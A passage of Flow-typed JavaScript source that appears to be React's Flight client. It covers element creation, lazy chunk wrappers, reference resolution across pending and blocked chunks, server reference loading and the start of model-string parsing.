SomeChunk<React$Element<any>>,\n  >,\n): void {\n  if (!__DEV__) {\n    return;\n  }\n  const stack = element._debugStack;\n  const owner = element._owner;\n  if (owner === null) {\n    element._owner = response._debugRootOwner;\n  }\n  let env = response._rootEnvironmentName;\n  if (owner !== null && owner.env != null) {\n    // Interestingly we don't actually have the environment name of where\n    // this JSX was created if it doesn't have an owner but if it does\n    // it must be the same environment as the owner. We could send it separately\n    // but it seems a bit unnecessary for this edge case.\n    env = owner.env;\n  }\n  let normalizedStackTrace: null | Error = null;\n  if (owner === null && response._debugRootStack != null) {\n    // We override the stack if we override the owner since the stack where the root JSX\n    // was created on the server isn't very useful but where the request was made is.\n    normalizedStackTrace = response._debugRootStack;\n  } else if (stack !== null) {\n    // We create a fake stack and then create an Error object inside of it.\n    // This means that the stack trace is now normalized into the native format\n    // of the browser and the stack frames will have been registered with\n    // source mapping information.\n    // This can unfortunately happen within a user space callstack which will\n    // remain on the stack.\n    normalizedStackTrace = createFakeJSXCallStackInDEV(response, stack, env);\n  }\n  element._debugStack = normalizedStackTrace;\n  let task: null | ConsoleTask = null;\n  if (supportsCreateTask && stack !== null) {\n    const createTaskFn = (console: any).createTask.bind(\n      console,\n      getTaskName(element.type),\n    );\n    const callStack = buildFakeCallStack(\n      response,\n      stack,\n      env,\n      false,\n      createTaskFn,\n    );\n    // This owner should ideally have already been initialized to avoid getting\n    // user stack frames on the stack.\n    const ownerTask =\n      owner === null ? null : initializeFakeTask(response, owner);\n    if (ownerTask === null) {\n      const rootTask = response._debugRootTask;\n      if (rootTask != null) {\n        task = rootTask.run(callStack);\n      } else {\n        task = callStack();\n      }\n    } else {\n      task = ownerTask.run(callStack);\n    }\n  }\n  element._debugTask = task;\n\n  // This owner should ideally have already been initialized to avoid getting\n  // user stack frames on the stack.\n  if (owner !== null) {\n    initializeFakeStack(response, owner);\n  }\n\n  if (lazyNode !== null) {\n    // In case the JSX runtime has validated the lazy type as a static child, we\n    // need to transfer this information to the element.\n    if (\n      lazyNode._store &&\n      lazyNode._store.validated &&\n      !element._store.validated\n    ) {\n      element._store.validated = lazyNode._store.validated;\n    }\n\n    // If the lazy node is initialized, we move its debug info to the inner\n    // value.\n    if (lazyNode._payload.status === INITIALIZED && lazyNode._debugInfo) {\n      const debugInfo = lazyNode._debugInfo.splice(0);\n      if (element._debugInfo) {\n        // $FlowFixMe[method-unbinding]\n        element._debugInfo.unshift.apply(element._debugInfo, debugInfo);\n      } else {\n        Object.defineProperty(element, '_debugInfo', {\n          configurable: false,\n          enumerable: false,\n          writable: true,\n          value: debugInfo,\n        });\n      }\n    }\n  }\n\n  // TODO: We should be freezing the element but currently, we might write into\n  // _debugInfo later. We could move it into _store which remains mutable.\n  Object.freeze(element.props);\n}\n\nfunction createElement(\n  response: Response,\n  type: mixed,\n  key: mixed,\n  props: mixed,\n  owner: ?ReactComponentInfo, // DEV-only\n  stack: ?ReactStackTrace, // DEV-only\n  validated: 0 | 1 | 2, // DEV-only\n):\n  | React$Element<any>\n  | LazyComponent<React$Element<any>, SomeChunk<React$Element<any>>> {\n  let element: any;\n  if (__DEV__) {\n    // `ref` is non-enumerable in dev\n    element = ({\n      $$typeof: REACT_ELEMENT_TYPE,\n      type,\n      key,\n      props,\n      _owner: owner === undefined ? null : owner,\n    }: any);\n    Object.defineProperty(element, 'ref', {\n      enumerable: false,\n      get: nullRefGetter,\n    });\n  } else {\n    element = ({\n      // This tag allows us to uniquely identify this as a React Element\n      $$typeof: REACT_ELEMENT_TYPE,\n\n      type,\n      key,\n      ref: null,\n      props,\n    }: any);\n  }\n\n  if (__DEV__) {\n    // We don't really need to add any of these but keeping them for good measure.\n    // Unfortunately, _store is enumerable in jest matchers so for equality to\n    // work, I need to keep it or make _store non-enumerable in the other file.\n    element._store = ({}: {\n      validated?: number,\n    });\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: validated, // Whether the element has already been validated on the server.\n    });\n    // debugInfo contains Server Component debug information.\n    Object.defineProperty(element, '_debugInfo', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: null,\n    });\n    Object.defineProperty(element, '_debugStack', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: stack === undefined ? null : stack,\n    });\n    Object.defineProperty(element, '_debugTask', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: null,\n    });\n  }\n\n  if (initializingHandler !== null) {\n    const handler = initializingHandler;\n    // We pop the stack to the previous outer handler before leaving the Element.\n    // This is effectively the complete phase.\n    initializingHandler = handler.parent;\n    if (handler.errored) {\n      // Something errored inside this Element's props. We can turn this Element\n      // into a Lazy so that we can still render up until that Lazy is rendered.\n      const erroredChunk: ErroredChunk<React$Element<any>> = createErrorChunk(\n        response,\n        handler.reason,\n      );\n      if (__DEV__) {\n        initializeElement(response, element, null);\n        // Conceptually the error happened inside this Element but right before\n        // it was rendered. We don't have a client side component to render but\n        // we can add some DebugInfo to explain that this was conceptually a\n        // Server side error that errored inside this element. That way any stack\n        // traces will point to the nearest JSX that errored - e.g. during\n        // serialization.\n        const erroredComponent: ReactComponentInfo = {\n          name: getComponentNameFromType(element.type) || '',\n          owner: element._owner,\n        };\n        // $FlowFixMe[cannot-write]\n        erroredComponent.debugStack = element._debugStack;\n        if (supportsCreateTask) {\n          // $FlowFixMe[cannot-write]\n          erroredComponent.debugTask = element._debugTask;\n        }\n        erroredChunk._debugInfo = [erroredComponent];\n      }\n      return createLazyChunkWrapper(erroredChunk, validated);\n    }\n    if (handler.deps > 0) {\n      // We have blocked references inside this Element but we can turn this into\n      // a Lazy node referencing this Element to let everything around it proceed.\n      const blockedChunk: BlockedChunk<React$Element<any>> =\n        createBlockedChunk(response);\n      handler.value = element;\n      handler.chunk = blockedChunk;\n      const lazyNode = createLazyChunkWrapper(blockedChunk, validated);\n      if (__DEV__) {\n        // After we have initialized any blocked references, initialize stack etc.\n        const init = initializeElement.bind(null, response, element, lazyNode);\n        blockedChunk.then(init, init);\n      }\n      return lazyNode;\n    }\n  }\n  if (__DEV__) {\n    initializeElement(response, element, null);\n  }\n\n  return element;\n}\n\nfunction createLazyChunkWrapper<T>(\n  chunk: SomeChunk<T>,\n  validated: 0 | 1 | 2, // DEV-only\n): LazyComponent<T, SomeChunk<T>> {\n  const lazyType: LazyComponent<T, SomeChunk<T>> = {\n    $$typeof: REACT_LAZY_TYPE,\n    _payload: chunk,\n    _init: readChunk,\n  };\n  if (__DEV__) {\n    // Forward the live array\n    lazyType._debugInfo = chunk._debugInfo;\n    // Initialize a store for key validation by the JSX runtime.\n    lazyType._store = {validated: validated};\n  }\n  return lazyType;\n}\n\nfunction getChunk(response: Response, id: number): SomeChunk<any> {\n  const chunks = response._chunks;\n  let chunk = chunks.get(id);\n  if (!chunk) {\n    if (response._closed) {\n      if (response._allowPartialStream) {\n        // For partial streams, chunks accessed after close should be HALTED\n        // (never resolve).\n        chunk = createPendingChunk(response);\n        const haltedChunk: HaltedChunk<any> = (chunk: any);\n        haltedChunk.status = HALTED;\n        haltedChunk.value = null;\n        haltedChunk.reason = null;\n      } else {\n        // We have already errored the response and we're not going to get\n        // anything more streaming in so this will immediately error.\n        chunk = createErrorChunk(response, response._closedReason);\n      }\n    } else {\n      chunk = createPendingChunk(response);\n    }\n    chunks.set(id, chunk);\n  }\n  return chunk;\n}\n\nfunction fulfillReference(\n  response: Response,\n  reference: InitializationReference,\n  value: any,\n  fulfilledChunk: SomeChunk<any>,\n): void {\n  const {handler, parentObject, key, map, path} = reference;\n\n  try {\n    for (let i = 1; i < path.length; i++) {\n      while (\n        typeof value === 'object' &&\n        value !== null &&\n        value.$$typeof === REACT_LAZY_TYPE\n      ) {\n        // We never expect to see a Lazy node on this path because we encode those as\n        // separate models. This must mean that we have inserted an extra lazy node\n        // e.g. to replace a blocked element. We must instead look for it inside.\n        const referencedChunk: SomeChunk<any> = value._payload;\n        if (referencedChunk === handler.chunk) {\n          // This is a reference to the thing we're currently blocking. We can peak\n          // inside of it to get the value.\n          value = handler.value;\n          continue;\n        } else {\n          switch (referencedChunk.status) {\n            case RESOLVED_MODEL:\n              initializeModelChunk(referencedChunk);\n              break;\n            case RESOLVED_MODULE:\n              initializeModuleChunk(referencedChunk);\n              break;\n          }\n          switch (referencedChunk.status) {\n            case INITIALIZED: {\n              value = referencedChunk.value;\n              continue;\n            }\n            case BLOCKED: {\n              // It is possible that we're blocked on our own chunk if it's a cycle.\n              // Before adding the listener to the inner chunk, let's check if it would\n              // result in a cycle.\n              const cyclicHandler = resolveBlockedCycle(\n                referencedChunk,\n                reference,\n              );\n              if (cyclicHandler !== null) {\n                // This reference points back to this chunk. We can resolve the cycle by\n                // using the value from that handler.\n                value = cyclicHandler.value;\n                continue;\n              }\n              // Fallthrough\n            }\n            case PENDING: {\n              // If we're not yet initialized we need to skip what we've already drilled\n              // through and then wait for the next value to become available.\n              path.splice(0, i - 1);\n              // Add \"listener\" to our new chunk dependency.\n              if (referencedChunk.value === null) {\n                referencedChunk.value = [reference];\n              } else {\n                referencedChunk.value.push(reference);\n              }\n              if (referencedChunk.reason === null) {\n                referencedChunk.reason = [reference];\n              } else {\n                referencedChunk.reason.push(reference);\n              }\n              return;\n            }\n            case HALTED: {\n              // Do nothing. We couldn't fulfill.\n              // TODO: Mark downstreams as halted too.\n              return;\n            }\n            default: {\n              rejectReference(\n                response,\n                reference.handler,\n                referencedChunk.reason,\n              );\n              return;\n            }\n          }\n        }\n      }\n      const name = path[i];\n      if (\n        typeof value === 'object' &&\n        value !== null &&\n        hasOwnProperty.call(value, name)\n      ) {\n        value = value[name];\n      } else {\n        throw new Error('Invalid reference.');\n      }\n    }\n\n    while (\n      typeof value === 'object' &&\n      value !== null &&\n      value.$$typeof === REACT_LAZY_TYPE\n    ) {\n      // If what we're referencing is a Lazy it must be because we inserted one as a virtual node\n      // while it was blocked by other data. If it's no longer blocked, we can unwrap it.\n      const referencedChunk: SomeChunk<any> = value._payload;\n      if (referencedChunk === handler.chunk) {\n        // This is a reference to the thing we're currently blocking. We can peak\n        // inside of it to get the value.\n        value = handler.value;\n        continue;\n      } else {\n        switch (referencedChunk.status) {\n          case RESOLVED_MODEL:\n            initializeModelChunk(referencedChunk);\n            break;\n          case RESOLVED_MODULE:\n            initializeModuleChunk(referencedChunk);\n            break;\n        }\n        switch (referencedChunk.status) {\n          case INITIALIZED: {\n            value = referencedChunk.value;\n            continue;\n          }\n        }\n      }\n      break;\n    }\n\n    const mappedValue = map(response, value, parentObject, key);\n    if (key !== __PROTO__) {\n      parentObject[key] = mappedValue;\n    }\n\n    // If this is the root object for a model reference, where `handler.value`\n    // is a stale `null`, the resolved value can be used directly.\n    if (key === '' && handler.value === null) {\n      handler.value = mappedValue;\n    }\n\n    // If the parent object is an unparsed React element tuple, we also need to\n    // update the props and owner of the parsed element object (i.e.\n    // handler.value).\n    if (\n      parentObject[0] === REACT_ELEMENT_TYPE &&\n      typeof handler.value === 'object' &&\n      handler.value !== null &&\n      handler.value.$$typeof === REACT_ELEMENT_TYPE\n    ) {\n      const element: any = handler.value;\n      switch (key) {\n        case '3':\n          if (__DEV__) {\n            transferReferencedDebugInfo(handler.chunk, fulfilledChunk);\n          }\n          element.props = mappedValue;\n          break;\n        case '4':\n          // This path doesn't call transferReferencedDebugInfo because this reference is to a debug chunk.\n          if (__DEV__) {\n            element._owner = mappedValue;\n          }\n          break;\n        case '5':\n          // This path doesn't call transferReferencedDebugInfo because this reference is to a debug chunk.\n          if (__DEV__) {\n            element._debugStack = mappedValue;\n          }\n          break;\n        default:\n          if (__DEV__) {\n            transferReferencedDebugInfo(handler.chunk, fulfilledChunk);\n          }\n          break;\n      }\n    } else if (__DEV__ && !reference.isDebug) {\n      transferReferencedDebugInfo(handler.chunk, fulfilledChunk);\n    }\n  } catch (error) {\n    rejectReference(response, reference.handler, error);\n    return;\n  }\n\n  handler.deps--;\n\n  if (handler.deps === 0) {\n    const chunk = handler.chunk;\n    if (chunk === null || chunk.status !== BLOCKED) {\n      return;\n    }\n    const resolveListeners = chunk.value;\n    const initializedChunk: InitializedChunk<any> = (chunk: any);\n    initializedChunk.status = INITIALIZED;\n    initializedChunk.value = handler.value;\n    initializedChunk.reason = handler.reason; // Used by streaming chunks\n    if (resolveListeners !== null) {\n      wakeChunk(response, resolveListeners, handler.value, initializedChunk);\n    } else {\n      if (__DEV__) {\n        processChunkDebugInfo(response, initializedChunk, handler.value);\n      }\n    }\n  }\n}\n\nfunction rejectReference(\n  response: Response,\n  handler: InitializationHandler,\n  error: mixed,\n): void {\n  if (handler.errored) {\n    // We've already errored. We could instead build up an AggregateError\n    // but if there are multiple errors we just take the first one like\n    // Promise.all.\n    return;\n  }\n  const blockedValue = handler.value;\n  handler.errored = true;\n  handler.value = null;\n  handler.reason = error;\n  const chunk = handler.chunk;\n  if (chunk === null || chunk.status !== BLOCKED) {\n    return;\n  }\n\n  if (__DEV__) {\n    if (\n      typeof blockedValue === 'object' &&\n      blockedValue !== null &&\n      blockedValue.$$typeof === REACT_ELEMENT_TYPE\n    ) {\n      const element = blockedValue;\n      // Conceptually the error happened inside this Element but right before\n      // it was rendered. We don't have a client side component to render but\n      // we can add some DebugInfo to explain that this was conceptually a\n      // Server side error that errored inside this element. That way any stack\n      // traces will point to the nearest JSX that errored - e.g. during\n      // serialization.\n      const erroredComponent: ReactComponentInfo = {\n        name: getComponentNameFromType(element.type) || '',\n        owner: element._owner,\n      };\n      // $FlowFixMe[cannot-write]\n      erroredComponent.debugStack = element._debugStack;\n      if (supportsCreateTask) {\n        // $FlowFixMe[cannot-write]\n        erroredComponent.debugTask = element._debugTask;\n      }\n      chunk._debugInfo.push(erroredComponent);\n    }\n  }\n\n  triggerErrorOnChunk(response, chunk, error);\n}\n\nfunction waitForReference<T>(\n  referencedChunk: PendingChunk<T> | BlockedChunk<T>,\n  parentObject: Object,\n  key: string,\n  response: Response,\n  map: (response: Response, model: any, parentObject: Object, key: string) => T,\n  path: Array<string>,\n  isAwaitingDebugInfo: boolean, // DEV-only\n): T {\n  if (\n    __DEV__ &&\n    (response._debugChannel === undefined ||\n      !response._debugChannel.hasReadable)\n  ) {\n    if (\n      referencedChunk.status === PENDING &&\n      parentObject[0] === REACT_ELEMENT_TYPE &&\n      (key === '4' || key === '5')\n    ) {\n      // If the parent object is an unparsed React element tuple, and this is a reference\n      // to the owner or debug stack. Then we expect the chunk to have been emitted earlier\n      // in the stream. It might be blocked on other things but chunk should no longer be pending.\n      // If it's still pending that suggests that it was referencing an object in the debug\n      // channel, but no debug channel was wired up so it's missing. In this case we can just\n      // drop the debug info instead of halting the whole stream.\n      return (null: any);\n    }\n  }\n\n  let handler: InitializationHandler;\n  if (initializingHandler) {\n    handler = initializingHandler;\n    handler.deps++;\n  } else {\n    handler = initializingHandler = {\n      parent: null,\n      chunk: null,\n      value: null,\n      reason: null,\n      deps: 1,\n      errored: false,\n    };\n  }\n\n  const reference: InitializationReference = {\n    handler,\n    parentObject,\n    key,\n    map,\n    path,\n  };\n  if (__DEV__) {\n    reference.isDebug = isAwaitingDebugInfo;\n  }\n\n  // Add \"listener\".\n  if (referencedChunk.value === null) {\n    referencedChunk.value = [reference];\n  } else {\n    referencedChunk.value.push(reference);\n  }\n  if (referencedChunk.reason === null) {\n    referencedChunk.reason = [reference];\n  } else {\n    referencedChunk.reason.push(reference);\n  }\n\n  // Return a place holder value for now.\n  return (null: any);\n}\n\nfunction loadServerReference<A: Iterable<any>, T>(\n  response: Response,\n  metaData: {\n    id: any,\n    bound: null | Thenable<Array<any>>,\n    name?: string, // DEV-only\n    env?: string, // DEV-only\n    location?: ReactFunctionLocation, // DEV-only\n  },\n  parentObject: Object,\n  key: string,\n): (...A) => Promise<T> {\n  if (!response._serverReferenceConfig) {\n    // In the normal case, we can't load this Server Reference in the current environment and\n    // we just return a proxy to it.\n    return createBoundServerReference(\n      metaData,\n      response._callServer,\n      response._encodeFormAction,\n      __DEV__ ? response._debugFindSourceMapURL : undefined,\n    );\n  }\n  // If we have a module mapping we can load the real version of this Server Reference.\n  const serverReference: ClientReference<T> =\n    resolveServerReference<$FlowFixMe>(\n      response._serverReferenceConfig,\n      metaData.id,\n    );\n\n  let promise: null | Thenable<any> = preloadModule(serverReference);\n  if (!promise) {\n    if (!metaData.bound) {\n      const resolvedValue = (requireModule(serverReference): any);\n      registerBoundServerReference(\n        resolvedValue,\n        metaData.id,\n        metaData.bound,\n        response._encodeFormAction,\n      );\n      return resolvedValue;\n    } else {\n      promise = Promise.resolve(metaData.bound);\n    }\n  } else if (metaData.bound) {\n    promise = Promise.all([promise, metaData.bound]);\n  }\n\n  let handler: InitializationHandler;\n  if (initializingHandler) {\n    handler = initializingHandler;\n    handler.deps++;\n  } else {\n    handler = initializingHandler = {\n      parent: null,\n      chunk: null,\n      value: null,\n      reason: null,\n      deps: 1,\n      errored: false,\n    };\n  }\n\n  function fulfill(): void {\n    let resolvedValue = (requireModule(serverReference): any);\n\n    if (metaData.bound) {\n      // This promise is coming from us and should have initilialized by now.\n      const boundArgs: Array<any> = (metaData.bound: any).value.slice(0);\n      boundArgs.unshift(null); // this\n      resolvedValue = resolvedValue.bind.apply(resolvedValue, boundArgs);\n    }\n\n    registerBoundServerReference(\n      resolvedValue,\n      metaData.id,\n      metaData.bound,\n      response._encodeFormAction,\n    );\n\n    if (key !== __PROTO__) {\n      parentObject[key] = resolvedValue;\n    }\n\n    // If this is the root object for a model reference, where `handler.value`\n    // is a stale `null`, the resolved value can be used directly.\n    if (key === '' && handler.value === null) {\n      handler.value = resolvedValue;\n    }\n\n    // If the parent object is an unparsed React element tuple, we also need to\n    // update the props and owner of the parsed element object (i.e.\n    // handler.value).\n    if (\n      parentObject[0] === REACT_ELEMENT_TYPE &&\n      typeof handler.value === 'object' &&\n      handler.value !== null &&\n      handler.value.$$typeof === REACT_ELEMENT_TYPE\n    ) {\n      const element: any = handler.value;\n      switch (key) {\n        case '3':\n          element.props = resolvedValue;\n          break;\n        case '4':\n          if (__DEV__) {\n            element._owner = resolvedValue;\n          }\n          break;\n      }\n    }\n\n    handler.deps--;\n\n    if (handler.deps === 0) {\n      const chunk = handler.chunk;\n      if (chunk === null || chunk.status !== BLOCKED) {\n        return;\n      }\n      const resolveListeners = chunk.value;\n      const initializedChunk: InitializedChunk<T> = (chunk: any);\n      initializedChunk.status = INITIALIZED;\n      initializedChunk.value = handler.value;\n      initializedChunk.reason = null;\n      if (resolveListeners !== null) {\n        wakeChunk(response, resolveListeners, handler.value, initializedChunk);\n      } else {\n        if (__DEV__) {\n          processChunkDebugInfo(response, initializedChunk, handler.value);\n        }\n      }\n    }\n  }\n\n  function reject(error: mixed): void {\n    if (handler.errored) {\n      // We've already errored. We could instead build up an AggregateError\n      // but if there are multiple errors we just take the first one like\n      // Promise.all.\n      return;\n    }\n    const blockedValue = handler.value;\n    handler.errored = true;\n    handler.value = null;\n    handler.reason = error;\n    const chunk = handler.chunk;\n    if (chunk === null || chunk.status !== BLOCKED) {\n      return;\n    }\n\n    if (__DEV__) {\n      if (\n        typeof blockedValue === 'object' &&\n        blockedValue !== null &&\n        blockedValue.$$typeof === REACT_ELEMENT_TYPE\n      ) {\n        const element = blockedValue;\n        // Conceptually the error happened inside this Element but right before\n        // it was rendered. We don't have a client side component to render but\n        // we can add some DebugInfo to explain that this was conceptually a\n        // Server side error that errored inside this element. That way any stack\n        // traces will point to the nearest JSX that errored - e.g. during\n        // serialization.\n        const erroredComponent: ReactComponentInfo = {\n          name: getComponentNameFromType(element.type) || '',\n          owner: element._owner,\n        };\n        // $FlowFixMe[cannot-write]\n        erroredComponent.debugStack = element._debugStack;\n        if (supportsCreateTask) {\n          // $FlowFixMe[cannot-write]\n          erroredComponent.debugTask = element._debugTask;\n        }\n        chunk._debugInfo.push(erroredComponent);\n      }\n    }\n\n    triggerErrorOnChunk(response, chunk, error);\n  }\n\n  promise.then(fulfill, reject);\n\n  // Return a place holder value for now.\n  return (null: any);\n}\n\nfunction resolveLazy(value: any): mixed {\n  while (\n    typeof value === 'object' &&\n    value !== null &&\n    value.$$typeof === REACT_LAZY_TYPE\n  ) {\n    const payload: SomeChunk<any> = value._payload;\n    if (payload.status === INITIALIZED) {\n      value = payload.value;\n      continue;\n    }\n    break;\n  }\n\n  return value;\n}\n\nfunction transferReferencedDebugInfo(\n  parentChunk: null | SomeChunk<any>,\n  referencedChunk: SomeChunk<any>,\n): void {\n  if (__DEV__) {\n    // We add the debug info to the initializing chunk since the resolution of\n    // that promise is also blocked by the referenced debug info. By adding it\n    // to both we can track it even if the array/element/lazy is extracted, or\n    // if the root is rendered as is.\n    if (parentChunk !== null) {\n      const referencedDebugInfo = referencedChunk._debugInfo;\n      const parentDebugInfo = parentChunk._debugInfo;\n      for (let i = 0; i < referencedDebugInfo.length; ++i) {\n        const debugInfoEntry = referencedDebugInfo[i];\n        if (debugInfoEntry.name != null) {\n          (debugInfoEntry: ReactComponentInfo);\n          // We're not transferring Component info since we use Component info\n          // in Debug info to fill in gaps between Fibers for the parent stack.\n        } else {\n          parentDebugInfo.push(debugInfoEntry);\n        }\n      }\n    }\n  }\n}\n\nfunction getOutlinedModel<T>(\n  response: Response,\n  reference: string,\n  parentObject: Object,\n  key: string,\n  map: (response: Response, model: any, parentObject: Object, key: string) => T,\n): T {\n  const path = reference.split(':');\n  const id = parseInt(path[0], 16);\n  const chunk = getChunk(response, id);\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (initializingChunk !== null && isArray(initializingChunk._children)) {\n      initializingChunk._children.push(chunk);\n    }\n  }\n  switch (chunk.status) {\n    case RESOLVED_MODEL:\n      initializeModelChunk(chunk);\n      break;\n    case RESOLVED_MODULE:\n      initializeModuleChunk(chunk);\n      break;\n  }\n  // The status might have changed after initialization.\n  switch (chunk.status) {\n    case INITIALIZED:\n      let value = chunk.value;\n      for (let i = 1; i < path.length; i++) {\n        while (\n          typeof value === 'object' &&\n          value !== null &&\n          value.$$typeof === REACT_LAZY_TYPE\n        ) {\n          const referencedChunk: SomeChunk<any> = value._payload;\n          switch (referencedChunk.status) {\n            case RESOLVED_MODEL:\n              initializeModelChunk(referencedChunk);\n              break;\n            case RESOLVED_MODULE:\n              initializeModuleChunk(referencedChunk);\n              break;\n          }\n          switch (referencedChunk.status) {\n            case INITIALIZED: {\n              value = referencedChunk.value;\n              break;\n            }\n            case BLOCKED:\n            case PENDING: {\n              return waitForReference(\n                referencedChunk,\n                parentObject,\n                key,\n                response,\n                map,\n                path.slice(i - 1),\n                isInitializingDebugInfo,\n              );\n            }\n            case HALTED: {\n              // Add a dependency that will never resolve.\n              // TODO: Mark downstreams as halted too.\n              let handler: InitializationHandler;\n              if (initializingHandler) {\n                handler = initializingHandler;\n                handler.deps++;\n              } else {\n                handler = initializingHandler = {\n                  parent: null,\n                  chunk: null,\n                  value: null,\n                  reason: null,\n                  deps: 1,\n                  errored: false,\n                };\n              }\n              return (null: any);\n            }\n            default: {\n              // This is an error. Instead of erroring directly, we're going to encode this on\n              // an initialization handler so that we can catch it at the nearest Element.\n              if (initializingHandler) {\n                initializingHandler.errored = true;\n                initializingHandler.value = null;\n                initializingHandler.reason = referencedChunk.reason;\n              } else {\n                initializingHandler = {\n                  parent: null,\n                  chunk: null,\n                  value: null,\n                  reason: referencedChunk.reason,\n                  deps: 0,\n                  errored: true,\n                };\n              }\n              return (null: any);\n            }\n          }\n        }\n        value = value[path[i]];\n      }\n\n      while (\n        typeof value === 'object' &&\n        value !== null &&\n        value.$$typeof === REACT_LAZY_TYPE\n      ) {\n        // If what we're referencing is a Lazy it must be because we inserted one as a virtual node\n        // while it was blocked by other data. If it's no longer blocked, we can unwrap it.\n        const referencedChunk: SomeChunk<any> = value._payload;\n        switch (referencedChunk.status) {\n          case RESOLVED_MODEL:\n            initializeModelChunk(referencedChunk);\n            break;\n          case RESOLVED_MODULE:\n            initializeModuleChunk(referencedChunk);\n            break;\n        }\n        switch (referencedChunk.status) {\n          case INITIALIZED: {\n            value = referencedChunk.value;\n            continue;\n          }\n        }\n        break;\n      }\n\n      const chunkValue = map(response, value, parentObject, key);\n      if (__DEV__) {\n        if (\n          parentObject[0] === REACT_ELEMENT_TYPE &&\n          (key === '4' || key === '5')\n        ) {\n          // If we're resolving the \"owner\" or \"stack\" slot of an Element array,\n          // we don't call transferReferencedDebugInfo because this reference is\n          // to a debug chunk.\n        } else if (isInitializingDebugInfo) {\n          // If we're resolving references as part of debug info resolution, we\n          // don't call transferReferencedDebugInfo because these references are\n          // to debug chunks.\n        } else {\n          transferReferencedDebugInfo(initializingChunk, chunk);\n        }\n      }\n      return chunkValue;\n    case PENDING:\n    case BLOCKED:\n      return waitForReference(\n        chunk,\n        parentObject,\n        key,\n        response,\n        map,\n        path,\n        isInitializingDebugInfo,\n      );\n    case HALTED: {\n      // Add a dependency that will never resolve.\n      // TODO: Mark downstreams as halted too.\n      let handler: InitializationHandler;\n      if (initializingHandler) {\n        handler = initializingHandler;\n        handler.deps++;\n      } else {\n        handler = initializingHandler = {\n          parent: null,\n          chunk: null,\n          value: null,\n          reason: null,\n          deps: 1,\n          errored: false,\n        };\n      }\n      return (null: any);\n    }\n    default:\n      // This is an error. Instead of erroring directly, we're going to encode this on\n      // an initialization handler so that we can catch it at the nearest Element.\n      if (initializingHandler) {\n        initializingHandler.errored = true;\n        initializingHandler.value = null;\n        initializingHandler.reason = chunk.reason;\n      } else {\n        initializingHandler = {\n          parent: null,\n          chunk: null,\n          value: null,\n          reason: chunk.reason,\n          deps: 0,\n          errored: true,\n        };\n      }\n      // Placeholder\n      return (null: any);\n  }\n}\n\nfunction createMap(\n  response: Response,\n  model: Array<[any, any]>,\n): Map<any, any> {\n  return new Map(model);\n}\n\nfunction createSet(response: Response, model: Array<any>): Set<any> {\n  return new Set(model);\n}\n\nfunction createBlob(response: Response, model: Array<any>): Blob {\n  return new Blob(model.slice(1), {type: model[0]});\n}\n\nfunction createFormData(\n  response: Response,\n  model: Array<[any, any]>,\n): FormData {\n  const formData = new FormData();\n  for (let i = 0; i < model.length; i++) {\n    formData.append(model[i][0], model[i][1]);\n  }\n  return formData;\n}\n\nfunction applyConstructor(\n  response: Response,\n  model: Function,\n  parentObject: Object,\n  key: string,\n): void {\n  Object.setPrototypeOf(parentObject, model.prototype);\n  // Delete the property. It was just a placeholder.\n  return undefined;\n}\n\nfunction defineLazyGetter<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  parentObject: Object,\n  key: string,\n): any {\n  // We don't immediately initialize it even if it's resolved.\n  // Instead, we wait for the getter to get accessed.\n  if (key !== __PROTO__) {\n    Object.defineProperty(parentObject, key, {\n      get: function () {\n        if (chunk.status === RESOLVED_MODEL) {\n          // If it was now resolved, then we initialize it. This may then discover\n          // a new set of lazy references that are then asked for eagerly in case\n          // we get that deep.\n          initializeModelChunk(chunk);\n        }\n        switch (chunk.status) {\n          case INITIALIZED: {\n            return chunk.value;\n          }\n          case ERRORED:\n            throw chunk.reason;\n        }\n        // Otherwise, we didn't have enough time to load the object before it was\n        // accessed or the connection closed. So we just log that it was omitted.\n        // TODO: We should ideally throw here to indicate a difference.\n        return OMITTED_PROP_ERROR;\n      },\n      // no-op: the walk function may try to reassign this property after\n      // parseModelString returns. With the JSON.parse reviver, the engine's\n      // internal CreateDataProperty silently failed. We use a no-op setter\n      // to match that behavior in strict mode.\n      set: function () {},\n      enumerable: true,\n      configurable: false,\n    });\n  }\n  return null;\n}\n\nfunction extractIterator(response: Response, model: Array<any>): Iterator<any> {\n  // $FlowFixMe[incompatible-use]: This uses raw Symbols because we're extracting from a native array.\n  return model[Symbol.iterator]();\n}\n\nfunction createModel(response: Response, model: any): any {\n  return model;\n}\n\nconst mightHaveStaticConstructor = /\\bclass\\b.*\\bstatic\\b/;\n\nfunction getInferredFunctionApproximate(code: string): () => void {\n  let slicedCode;\n  if (code.startsWith('Object.defineProperty(')) {\n    slicedCode = code.slice('Object.defineProperty('.length);\n  } else if (code.startsWith('(')) {\n    slicedCode = code.slice(1);\n  } else {\n    slicedCode = code;\n  }\n  if (slicedCode.startsWith('async function')) {\n    const idx = slicedCode.indexOf('(', 14);\n    if (idx !== -1) {\n      const name = slicedCode.slice(14, idx).trim();\n      // eslint-disable-next-line no-eval\n      return (0, eval)('({' + JSON.stringify(name) + ':async function(){}})')[\n        name\n      ];\n    }\n  } else if (slicedCode.startsWith('function')) {\n    const idx = slicedCode.indexOf('(', 8);\n    if (idx !== -1) {\n      const name = slicedCode.slice(8, idx).trim();\n      // eslint-disable-next-line no-eval\n      return (0, eval)('({' + JSON.stringify(name) + ':function(){}})')[name];\n    }\n  } else if (slicedCode.startsWith('class')) {\n    const idx = slicedCode.indexOf('{', 5);\n    if (idx !== -1) {\n      const name = slicedCode.slice(5, idx).trim();\n      // eslint-disable-next-line no-eval\n      return (0, eval)('({' + JSON.stringify(name) + ':class{}})')[name];\n    }\n  }\n  return function () {};\n}\n\nfunction parseModelString(\n  response: Response,\n  parentObject: Object,\n  key: string,\n  value: string,\n): any {\n  if (value[0] === '$') {\n    if (value === '$') {\n      // A very common symbol.\n      if (initializingHandler !== null && key === '0') {\n        // We we already have an initializing handler and we're abound to enter\n        // a new element, we need to shadow it because we're now in a new scope.\n        // This is effectively the \"begin\" or \"push\" phase of Element parsing.\n        // We'll pop later when we parse the array itself.\n        initializingHandler = {\n          parent: initializingHandler,\n          chunk: null,\n          value: null,\n          reason: null,\n          deps: 0,\n          errored: false,\n        };\n      }\n      return REACT_ELEMENT_TYPE;\n    }\n    switch (value[1]) {\n      case '$': {\n        // This was an escaped string value.\n        return value.slice(1);\n      }\n      case 